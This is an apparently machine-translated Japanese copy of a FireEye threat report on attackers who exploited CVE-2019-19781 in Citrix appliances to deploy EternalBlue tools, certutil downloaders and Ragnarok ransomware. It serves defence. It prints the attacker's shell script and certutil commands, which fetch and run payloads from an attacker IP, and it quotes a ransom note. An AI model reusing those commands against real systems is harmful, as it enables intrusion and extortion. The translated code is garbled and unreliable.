ナイス トライ: 501 (ランサムウェア) 未実装

進化し続ける脅威

2020 年 1 月 10 日以降、FireEye は CVE-2019-19781 の大規模なグローバルなエクスプロイトを追跡しており、パッチが適用されていない、または緩和策が適用されていない Citrix ADC および Gateway インスタンスに影響を与え続けています。以前に、攻撃者がこの脆弱性を悪用しようとする迅速な試みと、1 人の脅威アクターによるこれまでに見られなかったNOTROBIN マルウェア ファミリの侵害後の展開について報告しました。 FireEye は、この脆弱性の悪用に関連するアクティビティの複数のクラスターを積極的に追跡し続けています。これは主に、特定後に攻撃者が脆弱な Citrix ADC および Gateway インスタンスとどのようにやり取りするかに基づいています。

これまでに観察された CVE-2019-19781 エクスプロイト アクティビティのほとんどは、コイン マイナーまたは最も一般的には NOTROBIN の展開につながっていましたが、最近の侵害は、この脆弱性がランサムウェアの展開にも悪用されていることを示唆しています。組織が CVE-2019-19781 の悪用に関連する侵害の証拠があるかどうかを評価しようとしている場合は、FireEye と Citrix が共同公開している IOC スキャナーを使用することを強くお勧めします。これは、この投稿で説明されているアクティビティを検出します。

2020 年 1 月 16 日から 17 日にかけて、FireEye Managed Defenseは IP アドレス45[.]120[.]53[.]214が多数の FireEye クライアントで CVE-2019-19781 を悪用しようとしているのを検出しました。エクスプロイトに成功すると、影響を受けたシステムが cURL コマンドを実行して、 45[.]120[.]53[.]214からファイル名ld.shのシェル スクリプトをダウンロードすることを確認しました (図 1)。場合によっては、この同じシェル スクリプトが代わりにhxxp://198.44.227[.]126:81/citrix/ld.shからダウンロードされていました。

Snippet of ld.sh, downloaded from 45.120.53.214
図 1: 45.120.53.214 からダウンロードされた ld.sh のスニペット

図 2 に示すシェル スクリプトは、 python2バイナリを検索し (注: Python は Citrix Gateway 12.x および 13.x システムにのみプリインストールされています)、2 つの追加ファイルpiz.Lan 、XOR をシステムにダウンロードします。 -encoded データ blob とde.py (Python スクリプト) を一時ディレクトリに保存します。次に、このスクリプトは権限を変更し、 de.pyを実行します。これにより、 piz.Lanがデコードおよび解凍されます。最後に、スクリプトは最初のステージング ファイルをクリーンアップし、 scan.pyを実行します。この追加のスクリプトについては、記事の後半で詳しく説明します。

#!/ビン/sh
RM $0
もしも [ ! -f “/var/python/bin/python2” ];それから
echo ‘終了’
出口
費用

mkdir /tmp/rAgn
cd /tmp/rAgn

curl hxxp://45[.]120[.]53[.]214/piz.Lan – または piz.Lan
寝る
curl hxxp://45[.]120[.]53[.]214/of -or of
chmod 777
/var/python/bin/python2 de.py

rm de.py
rm piz.Lan
rm .new.zip
CD httpd
/var/python/bin/python2 scan.py -n 50 -N 40 &

図 2: 侵入先のシステムに追加のツールをダウンロードするためのシェル スクリプトである ld.sh の内容

piz.Lan -> .net.zip

de.pyから収集した情報を武器に、「 .net.zip 」 (MD5: 0caf9be8fd7ba5b605b7a7b315ef17a0) のデコードと解凍に注意を向けました。内部では、表 1 に示す 5 つのファイルを回収しました。

ファイル名

機能性

MD5

x86.dll

32 ビット ダウンローダー

9aa67d856e584b4eefc4791d2634476a

x64.dll

64 ビット ダウンローダー

55b40e0068429fbbb16f2113d6842ed2

scan.py

Python ソケット スキャナー

b0acb27273563a5a2a5f71165606808c

xp_eternalblue.replay

リプレイファイルの悪用

6cf1857e569432fcfc8e506c8b0db635

エターナルブルー.リプレイ

リプレイファイルの悪用

9e408d947ceba27259e2a9a5c71a75a8

表 1: スクリプト de.py によって作成された ZIP ファイル「.new.zip」の内容

ZIP の内容は、特定された脆弱なシステムのエクスプロイトを自動化する Python スキャン スクリプトであるscan.pyファイルの分析によって説明されました。最初の分析では、このスクリプトが複数のオープン ソース プロジェクトまたはスクリプトの機能を組み合わせたものであることがわかりました。一例として、図 3 に示すように、この公開GitHub リポジトリから直接改変またはコピーされたリプレイ ファイルがInstall_Backdoor関数に存在していました。

EternalBlue リプレイ ファイルの使用方法を示す scan.py のスニペット
図 3: EternalBlue リプレイ ファイルの使用状況を示す scan.py のスニペット

このスクリプトには、識別されたシステムが 32 ビットか 64 ビットかをチェックする複数の機能と、エクスプロイトをステップ実行する生のシェル コードも含まれていました。図 4 に示すように、 exploit_main関数が呼び出されると、32 ビットか 64 ビットかを適切に選択し、インジェクションに適した DLL を選択します。

32 ビットまたは 64 ビットのダウンローダーを展開する手順を示す scan.py のスニペット
図 4: 32 ビットまたは 64 ビットのダウンローダーを展開する手順を示す scan.py のスニペット

ラグナロクと名乗る

私たちの分析は、適切にx86.dllおよびx64.dllと名付けられた 32 ビットおよび 64 ビットの DLL の機能を調べることによって続けられました。それぞれわずか 5,120 バイトで、これらのバイナリは次のタスクを実行しました (図 5 および図 6)。

  1. Windows 証明書サービスの一部として使用されるネイティブ ツールであるcertutilを使用して、ハードコードされた URL から (オペレーティング システムのビット数に応じて) patch32またはpatch64という名前のファイルをダウンロードします ( MITRE の ATT&CK フレームワーク内で Technique 11005 として分類されます)。
  2. C:UsersPublicにあるダウンロードしたバイナリsince1969.exeを実行します。
  3. 現在のユーザーの証明書キャッシュから URL を削除します。
certutil.exe -urlcache -split -f hxxp://45.120.53[.]214/patch32 C:/Users/Public/since1969.exe
cmd.exe /c C:/ユーザー/パブリック/since1969.exe
certutil -urlcache -f hxxp://45.120.53[.]214/patch32 削除

図 5: x86.dll からの文字列のスニペット

certutil.exe -urlcache -split -f hxxp://45.120.53[.]214/patch64 C:/Users/Public/since1969.exe
cmd.exe /c C:/ユーザー/パブリック/since1969.exe
certutil -urlcache -f hxxp://45.120.53[.]214/patch64 削除

図 6: x64.dll からの文字列のスニペット

分析時にはパッチ32もパッチ64も利用できませんでしたが、 FireEyeは、IPアドレス45[.]120[.]53[.]214にリンクされたavpass.exe (MD5:e345c861058a18510e7c4bb616e3fd9f)という名前のファイルをVirusTotalで特定しました(図8)。このファイルは、2019 年 11 月 12 日にアップロードされた一般公開されているMeterpreter バックドアのインスタンスです。追加の分析により、このバイナリが TCP ポート 1234 経由で 45[.]120[.]53[.]214 と通信したことが確認されました。

45.120.53.214 でホストされている、または通信しているリソース間のリンクを示す VirusTotal グラフ
図 7: 45.120.53.214 でホストされている、または通信しているリソース間のリンクを示す VirusTotal グラフ

avpass.exeバイナリ内に、ツールの作成者に関する詳細なコンテキストを提供する興味深い PDB 文字列「 C:UsersragnaroksourcereposavpassDebugavpass.pdb 」が見つかりました。ラグナロクをキーワードとして利用し、ピボットして、2020 年 1 月 23 日に VirusTotal にアップロードされたsince1969.exe (MD5: 48452dd2506831d0b340e45b08799623) の別のコピーを特定することができました。2020 年 1 月 16 日のバイナリのコンパイル タイムスタンプは、関連する最初の検出と一致していますこの脅威アクターと。

このバイナリのさらなる分析とサンドボックス化により、すべての要素がまとめられました。この攻撃者は、適切に「Ragnarok」という名前のランサムウェアを展開しようとしていた可能性があります。 2020 年 1 月 17 日にラグナロク関連のアーティファクトを特定した Karsten Hahn 氏のこのツイートは、最初の検出の時間枠と一致しています。図 8 は、実行時にバイナリによって作成されるファイルの断片を示しています。

Ragnarok 関連のランサムウェア ファイル
図 8: Ragnarok 関連のランサムウェア ファイル

図 11 に示すように、このランサムウェアが投下する身代金メモは、3 つの電子メール アドレスを指しています。

6.できるだけ早く支払うのが賢明です。これ以上の損失はありません。

身代金: マシンごとに 1 ビットコイン、すべてのマシンで 5 ビットコイン

ビットコインを購入して送金する方法は?あなたはグーグルサーチがとても上手だと思います

asgardmaster5@protonmail[.]com
ragnar0k@ctemplar[.]com
j.jasonm@yandex[.]com

注意:5 日以内に身代金を支払わない場合、すべてのファイルがインターネット上で公開され、削除されます。

図 9: 「since1969.exe」によって投下された身代金メモのスニペット

含意

FireEye は、現在 CVE-2019-19781 を悪用しようとしている複数の攻撃者を引き続き観察しています。この投稿では、複数のエクスプロイトを使用して脆弱な内部システムを利用し、組織内を横方向に移動している 1 人の攻撃者について概説します。私たちの最初の観察に基づくと、最終的な目的は、ゲートウェイを中心的なピボット ポイントとして使用して、ランサムウェアを展開することだった可能性があります。

前述のように、Citrix アプライアンスが侵害された疑いがある場合は、 Citrix と提携してリリースされたツール FireEyeを利用することをお勧めします。

テクニックを検出する

CVE-2019-19781 のほかに、FireEye は、Meterpreter および EternalBlue の名前付き検出を含む、この投稿で説明されているアクティビティをプラットフォーム全体で検出します。表 2 には、このアクティビティの検出に役立つ特定の検出名がいくつか含まれています。

署名名

CERTUTIL.EXE ダウンローダー (ユーティリティ)

CURL ダウンロード シェル スクリプト

ETERNALBLUEエクスプロイト

METERPRETER (バックドア)

METERPRETER URI (ステージャー)

SMB – エターナルブルー

表 2: この投稿で説明されているアクティビティの FireEye 検出

指標

表 3 は、この投稿で説明した独自のインジケーターを示しています。

インジケーターの種類

インジケータ

ノート

通信網

45[.]120[.]53[.]214

通信網

198[.]44[.]227[.]126

ホスト

91dd06f49b09a2242d4085703599b7a7

ピズラン

ホスト

01af5ad23a282d0fd40597c1024307ca

de.py

ホスト

bd977d9d2b68dd9b12a3878edd192319

ld.sh

ホスト

0caf9be8fd7ba5b605b7a7b315ef17a0

.new.zip

ホスト

9aa67d856e584b4eefc4791d2634476a

x86.dll

ホスト

55b40e0068429fbbb16f2113d6842ed2

x64.dll

ホスト

b0acb27273563a5a2a5f71165606808c

scan.py

ホスト

6cf1857e569432fcfc8e506c8b0db635

xp_eternalblue.replay

ホスト

9e408d947ceba27259e2a9a5c71a75a8

エターナルブルー.リプレイ

e345c861058a18510e7c4bb616e3fd9f

avpass.exe

ホスト

48452dd2506831d0b340e45b08799623

since1969.exe

電子メールアドレス

asgardmaster5@protonmail[.]com

身代金メモから

電子メールアドレス

ragnar0k@ctemplar[.]com

身代金メモから

電子メールアドレス

j.jasonm@yandex[.]com

身代金メモから

表 3: このブログ投稿からの IOC のコレクション

参照: https://www.mandiant.com/resources/blog/nice-try-501-ransomware-not-implemented

コメント

タイトルとURLをコピーしました